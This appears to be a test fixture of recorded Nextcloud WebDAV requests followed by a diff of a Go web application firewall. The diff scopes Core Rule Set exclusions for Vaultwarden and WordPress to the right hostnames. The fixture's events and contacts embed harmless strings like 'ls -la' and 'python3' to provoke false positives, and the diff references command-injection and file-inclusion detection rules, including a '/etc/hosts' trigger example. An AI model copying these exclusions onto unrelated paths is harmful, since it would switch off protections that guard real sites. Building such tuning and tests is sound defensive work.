{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}
+10 -1
View File
@@ -1,4 +1,4 @@
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that # Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where # refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain # Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request, # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,6 +17,13 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules: # Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming # name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team" # an organization or a group, "python3 .htaccess team"
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \ SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\ "id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES" ctl:ruleRemoveTargetById=920120;FILES"
SecMarker END_VAULTWARDEN
+18 -1
View File
@@ -7,6 +7,8 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -30,7 +32,22 @@ const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt") wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
}
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
} }
// vaultwardenField is a field Vaultwarden receives in plain text: the // vaultwardenField is a field Vaultwarden receives in plain text: the
+13 -38
View File
@@ -1,10 +1,17 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused # WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1
@@ -96,45 +103,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\ ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent" ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, which skips each rule that random passwords set off. # Signing in, in pwd, where a password holds any characters:
# 930120: a password ending in /etc/hosts
SecRule REQUEST_FILENAME "@streq /wp-login.php" \ SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain" "id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" \ SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# Saving through the REST API, the JSON fields title, excerpt and name skip these # Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
@@ -229,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,6 +10,7 @@ import (
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -21,6 +22,7 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
+3 -1
View File
@@ -221,7 +221,8 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It // SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
+4 -3
View File
@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) { func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel() t.Parallel()
for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} { for _, method := range []string{http.MethodTrace, "BREW"} {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -344,7 +344,8 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed || if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+ got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" { "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got) t.Errorf("answered %+v, want 405 naming the methods passed on", got)
} }
@@ -370,7 +371,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions, http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY", http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH", "PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
"LOCK", "UNLOCK", "LOCK", "UNLOCK", "MKCALENDAR",
} { } {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
+1 -1
View File
@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
// them. It answers any other method 405 itself. // them. It answers any other method 405 itself.
// The WebDAV ones are for Nextcloud. // The WebDAV ones are for Nextcloud.
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " + const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {